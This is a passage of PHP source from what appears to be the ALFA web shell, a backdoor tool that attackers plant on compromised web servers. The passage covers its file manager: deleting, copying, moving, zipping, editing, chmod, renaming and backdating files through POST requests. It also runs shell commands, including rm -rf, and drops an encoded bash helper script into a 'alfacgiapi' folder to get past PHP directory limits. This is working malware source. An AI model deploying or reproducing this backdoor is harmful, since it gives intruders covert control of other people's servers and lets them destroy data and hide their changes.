  3113. if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
  3114. deleteDir(rawurldecode(@$_POST['alfa2']));
  3115. alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
  3116. }else{
  3117. @unlink(rawurldecode(@$_POST['alfa2']));
  3118. }
  3119. if(isset($GLOBALS["glob_chdir_false"])){
  3120. $source = rawurldecode(@$_POST['alfa2']);
  3121. if($source!='..'&&!empty($source)){
  3122. if(_alfa_can_runCommand(true,true)){
  3123. alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
  3124. }
  3125. }
  3126. }
  3127. break;
  3128. case 'paste':
  3129. if($_SESSION['act'] == 'copy'&&isset($_SESSION['f'])){
  3130. function copy_paste($c,$s,$d){
  3131. if(@is_dir($c.$s)){
  3132. @mkdir($d.$s);
  3133. $h = @opendir($c.$s);
  3134. while (($f = @readdir($h)) !== false)
  3135. if (($f != ".") and ($f != ".."))
  3136. copy_paste($c.$s.'/',$f, $d.$s.'/');
  3137. } elseif(is_file($c.$s))
  3138. @copy($c.$s, $d.$s);
  3139. }
  3140. foreach($_SESSION['f'] as $f)
  3141. copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  3142. }elseif($_SESSION['act'] == 'move'&&isset($_SESSION['f'])){
  3143. function move_paste($c,$s,$d){
  3144. if(@is_dir($c.$s)){
  3145. @mkdir($d.$s);
  3146. $h = @opendir($c.$s);
  3147. while (($f = @readdir($h)) !== false)
  3148. if(($f != ".") and ($f != ".."))
  3149. copy_paste($c.$s.'/',$f, $d.$s.'/');
  3150. }elseif(@is_file($c.$s))
  3151. @copy($c.$s, $d.$s);
  3152. }
  3153. foreach($_SESSION['f'] as $f)
  3154. @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  3155. }elseif($_SESSION['act'] == 'zip'&&isset($_SESSION['f'])){
  3156. if(class_exists('ZipArchive')){
  3157. $zip = new ZipArchive();
  3158. $zipX = "alfa_".rand(1,1000).".zip";
  3159. if($zip->open($zipX, 1)){
  3160. @chdir($_SESSION['c']);
  3161. foreach($_SESSION['f'] as $f){
  3162. if($f == '..')continue;
  3163. if(@is_file($_SESSION['c'].$f))
  3164. $zip->addFile($_SESSION['c'].$f, $f);
  3165. elseif(@is_dir($_SESSION['c'].$f)){
  3166. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  3167. foreach($iterator as $key=>$value){
  3168. $key = str_replace('\\','/',realpath($key));
  3169. if(@is_dir($key)){
  3170. if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
  3171. }else{$zip->addFile($key,$key);}}}}
  3172. @chdir($GLOBALS['cwd']);
  3173. $zip->close();
  3174. __alert('>> '.$zipX.' << is created...');}}
  3175. }elseif($_SESSION['act'] == 'unzip'&&isset($_SESSION['f'])){
  3176. if(class_exists('ZipArchive')){
  3177. $zip = new ZipArchive();
  3178. foreach($_SESSION['f'] as $f) {
  3179. if($zip->open($_SESSION['c'].$f)){
  3180. $zip->extractTo($GLOBALS['cwd']);
  3181. $zip->close();}}}}
  3182. unset($_SESSION['f']);
  3183. break;
  3184. default:
  3185. if(!empty($_POST['alfa1'])){
  3186. $_SESSION['act'] = @$_POST['alfa1'];
  3187. $_SESSION['f'] = @$_POST['f'];
  3188. $_SESSION['c'] = @$_POST['c'];
  3189. }
  3190. break;
  3191. }
  3192. }
  3193. if(isset($_SESSION[__LAST_CWD__]) && !isset($_POST['c']) && $_SESSION[__LAST_CWD__] != ''){
  3194. $dirContent = @scandir($_SESSION[__LAST_CWD__]);
  3195. }else{
  3196. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  3197. if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
  3198. $path = explode('/', $res[1]);
  3199. array_pop($path);
  3200. $_POST['c'] = implode('/', $path);
  3201. }
  3202. $_SESSION[__LAST_CWD__] = str_replace(array("..","//"), array("","/"), $_POST['c']);
  3203. }
  3204. $cmd_dir = false;
  3205. if($dirContent === false){
  3206. if(_alfa_can_runCommand(true,true)){
  3207. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  3208. if(!isset($_SESSION["alfachdir_bash"])||@!file_exists("alfacgiapi/getdir.alfa")){
  3209. $bash = "jZNvb5swEMZfw6e4eaZppaIk3Z9INLyYNHXq2017UYWocsEEa2AjQ5SxNN99PmMIlTJpEVLOv+fu8Rkf79/N942evwg5bwr/6+P3mC79x4cfMZ0lcubztFBANsTPlQYBQgK9LhsIGYThTqt9HWZC87RVWvAmzIVuWqDG5eYeMuWD+dWsLWKCbE4F8T0hcxXT66ZlLYQpkOAhCn5GwbcoaKLgKVoELAq+EKBYd+N72MosmoHmLINQ485Ma9bBer0GQtHNmLZdzWN6tMpmsT3ZndVBcj3SpaO265HeGeo14s+5+gOSSmUi70b20dXWXFdyX43804QX+4rJUfmMLiKHzcacpK+COAayWK5WKwLb7T20BZe+5w2eZIGKA70ZyfTht30Mz8VgGB7MwfH1oA9cXVmmJ+yNd6pKpWNSMSGfd5pz+YzUGPLS2f1X6aEQLT+XNvxCjubZkHHuluLd2LMPk9K92cheHWqTls41mu/2JdOQi5Lb476+Xk7gVd12/05ruupFlSKFUshfF/a3hX3bduSPCZGs4gmJIDFTlpBb84+pjvQhQjtljroYsR0zh12MGEfN0T5E2E+bw8MCBTcbThlXg2SnZCK69SDbq5nIbn269TMlufu0j6ct+Qs=";
  3210. alfaWriteTocgiapi("getdir.alfa",$bash);
  3211. }
  3212. if(empty($_SESSION[__LAST_CWD__]))$_SESSION[__LAST_CWD__] = "/";
  3213. $dirContent = alfaEx("cd alfacgiapi;sh getdir.alfa '".addslashes($_SESSION[__LAST_CWD__])."'");
  3214. $dirContent = json_decode($dirContent, true);
  3215. if(is_array($dirContent)){
  3216. array_pop($dirContent);
  3217. $cmd_dir = true;
  3218. }else{
  3219. $dirContent = false;
  3220. }
  3221. $_SESSION["alfachdir_bash"] = true;
  3222. }
  3223. }
  3224. if($dirContent == false){
  3225. echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
  3226. alfaFooter();
  3227. return;
  3228. }
  3229. global $sort;
  3230. $sort = array('name', 1);
  3231. if(!empty($_POST['alfa1'])) {
  3232. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
  3233. $sort = array($match[1], (int)$match[2]);
  3234. }
  3235. echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk' onclick='checkBox();' class='chkbx'><label for='mchk'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  3236. $dirs = $files = array();
  3237. $n = count($dirContent);
  3238. for($i=0;$i<$n;$i++){
  3239. if($cmd_dir){
  3240. $filename = $dirContent[$i]["name"];
  3241. $file_owner = $dirContent[$i]["owner"];
  3242. $file_group = $dirContent[$i]["group"];
  3243. $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
  3244. $file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
  3245. $file_size = $dirContent[$i]["size"];
  3246. $file_path = $_SESSION[__LAST_CWD__]."/".$dirContent[$i]["name"];
  3247. }else{
  3248. $filename = $dirContent[$i];
  3249. $ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
  3250. $gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
  3251. $file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
  3252. $file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
  3253. $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
  3254. $file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
  3255. $file_size = @filesize($GLOBALS['cwd'].$filename);
  3256. $file_path = $GLOBALS['cwd'].$filename;
  3257. }
  3258. $tmp = array('name' => $filename,
  3259. 'path' => $file_path,
  3260. 'modify' => $file_modify,
  3261. 'perms' => $file_perm,
  3262. 'size' => $file_size,
  3263. 'owner' => $file_owner,
  3264. 'group' => $file_group
  3265. );
  3266. if(!$cmd_dir){
  3267. if(@is_file($file_path))
  3268. $files[] = array_merge($tmp, array('type' => 'file'));
  3269. elseif(@is_link($file_path))
  3270. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  3271. elseif(@is_dir($file_path)&& ($filename != "."))
  3272. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  3273. }else{
  3274. if($dirContent[$i]["type"]=="file"){
  3275. $files[] = array_merge($tmp, array('type' => 'file'));
  3276. }else{
  3277. if($dirContent[$i]["name"] != "."){
  3278. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  3279. }
  3280. }
  3281. }
  3282. }
  3283. $GLOBALS['sort'] = $sort;
  3284. function alfaCmp($a, $b) {
  3285. if($GLOBALS['sort'][0] != 'size')
  3286. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  3287. else
  3288. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  3289. }
  3290. usort($files, "alfaCmp");
  3291. usort($dirs, "alfaCmp");
  3292. $files = array_merge($dirs, $files);
  3293. $l=0;
  3294. $cc=0;
  3295. foreach($files as $f){
  3296. $f['name'] = htmlspecialchars($f['name']);
  3297. $newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
  3298. $checkbox = 'checkbox'.$cc;
  3299. $raw_name = rawurlencode($f['name']);
  3300. $icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
  3301. $style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
  3302. echo '<tr'.($l?' class=l1':'').'><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td>'.$icon.'<div style="'.$style.'"><a class="main_name" href=javascript:void(0) onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');">'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
  3303. $f['perms'].'</td><td><a class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
  3304. $l = $l?0:1;
  3305. $cc++;
  3306. }
  3307. echo "<tr><td colspan=7>
  3308. <input type=hidden name=a value='FilesMan'>
  3309. <input type=hidden name=c value='".htmlspecialchars((isset($GLOBALS['glob_chdir_false'])?$_POST['c']:$GLOBALS['cwd']))."'>
  3310. <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
  3311. <select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
  3312. <input type='submit' value=' '>
  3313. </form></table></div></div>";
  3314. alfafooter();
  3315. }
  3316. function alfaFilesTools(){
  3317. alfahead();
  3318. echo '<div class="filestools">';
  3319. if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
  3320. $alfa1_decoded = $_POST['alfa1'];
  3321. $chdir_fals = false;
  3322. if(!@chdir($_POST['c'])){
  3323. $chdir_fals = true;
  3324. $_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
  3325. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  3326. if($alfa_canruncmd){
  3327. $slashed_alfa1 = addslashes($_POST['alfa1']);
  3328. $file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
  3329. $perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
  3330. }
  3331. }
  3332. if($_POST['alfa2'] == 'auto'){
  3333. if(is_array(@getimagesize($_POST['alfa1']))){
  3334. $_POST['alfa2'] = 'image';
  3335. }else{
  3336. $_POST['alfa2'] = 'view';
  3337. if($chdir_fals){
  3338. if($alfa_canruncmd){
  3339. $mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
  3340. $mimetype = $mime[1];
  3341. if(!empty($mimetype)){
  3342. if(strstr($mimetype, "image")){
  3343. $_POST['alfa2'] = 'image';
  3344. }
  3345. }
  3346. }
  3347. }
  3348. }
  3349. }
  3350. if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
  3351. if(@$_POST['alfa2'] == 'mkfile'){
  3352. $_POST['alfa1'] = trim($_POST['alfa1']);
  3353. if($chdir_fals&&$alfa_canruncmd){
  3354. if(_alfa_is_writable($_POST["c"])){
  3355. alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
  3356. $_POST['alfa2'] = "edit";
  3357. }
  3358. }
  3359. if(!@file_exists($_POST['alfa1'])){
  3360. $fp = @fopen($_POST['alfa1'], 'w');
  3361. if($fp){
  3362. $_POST['alfa2'] = "edit";
  3363. fclose($fp);
  3364. }
  3365. }else{
  3366. $_POST['alfa2'] = "edit";
  3367. }
  3368. }
  3369. if(!_alfa_file_exists(@$_POST['alfa1'])){
  3370. echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
  3371. alfaFooter();
  3372. return;
  3373. }
  3374. if($chdir_fals){
  3375. $filesize = $file_info[3];
  3376. $uid["name"] = $file_info[1];
  3377. $gid["name"] = $file_info[2];
  3378. $permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
  3379. }else{
  3380. $uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
  3381. $gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
  3382. if(!$uid&&!$gid){
  3383. $uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
  3384. $gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
  3385. }
  3386. $permcolor = alfaPermsColor($_POST['alfa1']);
  3387. $filesize = @filesize($_POST['alfa1']);
  3388. if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
  3389. if(_alfa_can_runCommand()){
  3390. list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
  3391. }
  3392. }
  3393. }
  3394. echo '<span class="editor_file_info_vars">Name:</span> '.htmlspecialchars($alfa1_decoded).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']).'<br><br>';
  3395. if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
  3396. if(!_alfa_is_dir($_POST['alfa1'])){
  3397. $m = array('View', 'Edit', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
  3398. $ftype = "file";
  3399. }else{
  3400. $m = array('Chmod', 'Rename', 'Touch');
  3401. $ftype = "dir";
  3402. }
  3403. foreach($m as $v)
  3404. echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
  3405. echo '<br><br>';
  3406. switch($_POST['alfa2']){
  3407. case 'view':
  3408. @chdir($_POST['c']);
  3409. echo '<div class="editor-view"><div class="view-content"><p><button style="border-radius:10px;" class="button" onClick="copyToClipboard(\'view_ml_content\');">copy to clipboard</button></p><pre class="ml1" id="view_ml_content">';
  3410. echo htmlspecialchars(__read_file($_POST['alfa1']));
  3411. echo '</pre></div></div>';
  3412. break;
  3413. case 'highlight':
  3414. @chdir($_POST['c']);
  3415. if(@is_readable($_POST['alfa1'])){
  3416. echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
  3417. $code = @highlight_file($_POST['alfa1'],true);
  3418. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
  3419. }
  3420. break;
  3421. case 'delete':
  3422. @chdir($_POST['c']);
  3423. if(@is_writable($_POST['alfa1'])||isset($GLOBALS["glob_chdir_false"])){
  3424. $deleted = true;
  3425. if(!@unlink($_POST['alfa1'])){
  3426. $deleted = false;
  3427. if($alfa_canruncmd){
  3428. if(_alfa_is_writable($_POST['alfa1'])){
  3429. alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
  3430. $deleted = true;
  3431. }
  3432. }
  3433. }
  3434. if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
  3435. break;
  3436. case 'chmod':
  3437. @chdir($_POST['c']);
  3438. if(!empty($_POST['alfa3'])){
  3439. $perms = 0;
  3440. for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
  3441. $perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
  3442. if(!@chmod($_POST['alfa1'], $perms)){
  3443. if($chdir_fals&&$alfa_canruncmd){
  3444. alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
  3445. echo('Success!');
  3446. }else{
  3447. echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
  3448. }else{echo('Success!');}
  3449. }
  3450. clearstatcache();
  3451. AlfaNum(8,9,10,7,6,5,4,2,1);
  3452. if($chdir_fals){
  3453. $file_perm = $file_info[5];
  3454. }else{
  3455. $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
  3456. }
  3457. echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
  3458. break;
  3459. case 'edit':
  3460. @chdir($_POST['c']);
  3461. if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
  3462. echo 'File isn\'t writeable';
  3463. break;
  3464. }
  3465. if(!empty($_POST['alfa3'])){
  3466. $_POST['alfa3'] = substr($_POST['alfa3'],1);
  3467. $time = @filemtime($_POST['alfa1']);
  3468. $fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
  3469. if($chdir_fals&&$alfa_canruncmd){
  3470. $rname = $alfa1_decoded;
  3471. $randname = $rname.rand(111,9999);
  3472. $filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
  3473. if($fp = @__write_file($filepath ,$_POST['alfa3'])){
  3474. alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
  3475. }
  3476. }
  3477. if($fp){
  3478. echo 'Saved!<br><script>alfa3_="";</script>';
  3479. @touch($_POST['alfa1'],$time,$time);
  3480. }
  3481. }
  3482. echo '<button class="button" style="border-radius:10px;" onClick="copyToClipboard(\'edit_textarea_content\');">copy to clipboard</button><form id="editor_edit_area" onsubmit="editor(\''.addslashes($alfa1_decoded).'\',\''.$_POST['alfa2'].'\',\'1\'+this.text.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><p><input type="submit" value=" "></p><textarea name="text" id="edit_textarea_content" class="bigarea" onkeydown="saveByKey(event);">';
  3483. echo htmlspecialchars(__read_file($_POST['alfa1']));
  3484. echo '</textarea><p><input type="submit" value=" "></p></form>';
  3485. break;
  3486. case 'hexdump':
  3487. @chdir($_POST['c']);
  3488. $c = __read_file($_POST['alfa1']);
  3489. $n = 0;
  3490. $h = array('00000000<br>','','');
  3491. $len = strlen($c);
  3492. for ($i=0; $i<$len; ++$i) {
  3493. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  3494. switch ( ord($c[$i]) ) {
  3495. case 0: $h[2] .= ' '; break;
  3496. case 9: $h[2] .= ' '; break;
  3497. case 10: $h[2] .= ' '; break;
  3498. case 13: $h[2] .= ' '; break;
  3499. default: $h[2] .= $c[$i]; break;
  3500. }
  3501. $n++;
  3502. if ($n == 32) {
  3503. $n = 0;
  3504. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  3505. $h[1] .= '<br>';
  3506. $h[2] .= "\n";
  3507. }
  3508. }
  3509. echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
  3510. break;
  3511. case 'rename':
  3512. @chdir($_POST['c']);
  3513. $alfa1_escape = addslashes($_POST["alfa1"]);
  3514. $alfa3_escape = addslashes($_POST["alfa3"]);
  3515. if(!empty($_POST['alfa3'])){
  3516. $cmd_rename = false;
  3517. if($chdir_fals&&$alfa_canruncmd){
  3518. if(_alfa_is_writable($_POST['alfa1'])){
  3519. $alfa1_escape = addslashes($alfa1_decoded);
  3520. alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
  3521. }else{
  3522. $cmd_rename = true;
  3523. }
  3524. }else{
  3525. $alfa1_escape = addslashes($_POST["alfa1"]);
  3526. }
  3527. if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
  3528. echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";d.files.innerHTML = d.files.innerHTML.replace(/\\\''.$alfa1_escape.'\\\'/g, "\''.$alfa3_escape.'\'");d.files.innerHTML = d.files.innerHTML.replace(/value\=\"'.$alfa1_escape.'\"/, \'value\=\"'.$alfa3_escape.'\"\');d.files.innerHTML = d.files.innerHTML.replace(/'.$alfa1_escape.'\<\/a\>/g, "'.$alfa3_escape.'</a>");d.files.innerHTML = d.files.innerHTML.replace(/Are You Sure For Delete # '.$alfa1_escape.' # \?/, "Are You Sure For Delete # '.$alfa3_escape.' # ?");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
  3529. }
  3530. echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
  3531. break;
  3532. case 'touch':
  3533. @chdir($_POST['c']);
  3534. if( !empty($_POST['alfa3']) ) {
  3535. $time = strtotime($_POST['alfa3']);
  3536. if($time){
  3537. $touched = false;
  3538. if($chdir_fals&&$alfa_canruncmd){
  3539. alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
  3540. $touched = true;
  3541. }
  3542. if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
  3543. echo 'Fail!';
  3544. else
  3545. echo 'Touched!';
  3546. } else echo 'Bad time format!';
  3547. }
  3548. clearstatcache();
  3549. echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
  3550. break;
  3551. case 'image':
  3552. @chdir($_POST['c']);
  3553. echo('<hr>');
  3554. $file = $_POST['alfa1'];
  3555. $image_info = @getimagesize($file);
  3556. if(is_array($image_info)||$chdir_fals){
  3557. $width = (int)$image_info[0];
  3558. $height = (int)$image_info[1];
  3559. if($chdir_fals&&$alfa_canruncmd){
  3560. $source = alfaEx("cat '".addslashes($file)."' | base64");
  3561. list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
  3562. $mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
  3563. $image_info['mime'] = $mime[1];
  3564. }else{
  3565. $source = __ZW5jb2Rlcg(__read_file($file, false));
  3566. }
  3567. $image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
  3568. if($width > 800){$width = 800;}
  3569. echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
  3570. }
  3571. break;
  3572. }
  3573. echo '</div>';
  3574. alfaFooter();
  3575. }
  3576. function findicon($file,$type){
  3577. $s = 'http://solevisible.com/icons/';
  3578. $types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
  3579. if($type!='file'){
  3580. return ($file=='..'?$s.'back.png':$s.'folder.png');
  3581. }else{
  3582. $ext = explode('.',$file);
  3583. $ext = end($ext);
  3584. $ext = strtolower($ext);
